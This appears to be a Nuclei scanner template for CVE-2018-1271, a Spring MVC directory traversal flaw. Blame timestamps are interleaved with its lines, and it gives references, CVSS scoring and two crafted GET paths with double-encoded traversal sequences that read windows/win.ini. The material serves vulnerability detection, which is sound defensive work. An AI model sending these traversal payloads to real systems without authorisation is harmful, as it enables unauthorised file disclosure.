2021-01-02 05:00:39 +00:00
id : CVE-2018-1271
2020-06-03 00:53:25 +00:00
info :
2022-07-26 13:45:11 +00:00
name : Spring MVC Framework - Local File Inclusion
2020-06-03 00:53:25 +00:00
author : hetroublemakr
2021-09-10 11:26:40 +00:00
severity : medium
2022-07-26 13:45:11 +00:00
description : Spring MVC Framework versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported are vulnerable to local file inclusion because they allow applications to configure Spring MVC to serve static resources (e.g. CSS, JS, images). A malicious user can send a request using a specially crafted URL that can lead a directory traversal attack.
2022-04-22 10:38:41 +00:00
reference :
- https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
2022-05-17 09:18:12 +00:00
- https://pivotal.io/security/cve-2018-1271
2022-06-07 20:50:59 +00:00
- http://web.archive.org/web/20210518132800/https://www.securityfocus.com/bid/103699
2022-05-17 09:18:12 +00:00
- https://access.redhat.com/errata/RHSA-2018:1320
2022-07-26 13:45:11 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2018-1271
2021-09-10 11:26:40 +00:00
classification :
2022-05-17 09:18:12 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 5.9
2021-09-10 11:26:40 +00:00
cve-id : CVE-2018-1271
cwe-id : CWE-22
2023-04-12 10:55:48 +00:00
epss-score : 0.01676
2022-04-22 10:38:41 +00:00
tags : cve,cve2018,spring,lfi,traversal
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2020-06-03 00:53:25 +00:00
2023-04-27 04:28:59 +00:00
http :
2020-06-03 00:53:25 +00:00
- method : GET
path :
- '{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
- '{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
2020-07-08 11:38:57 +00:00
matchers-condition : and
2020-06-03 00:53:25 +00:00
matchers :
- type : word
words :
- 'for 16-bit app support'
- type : status
status :
- 200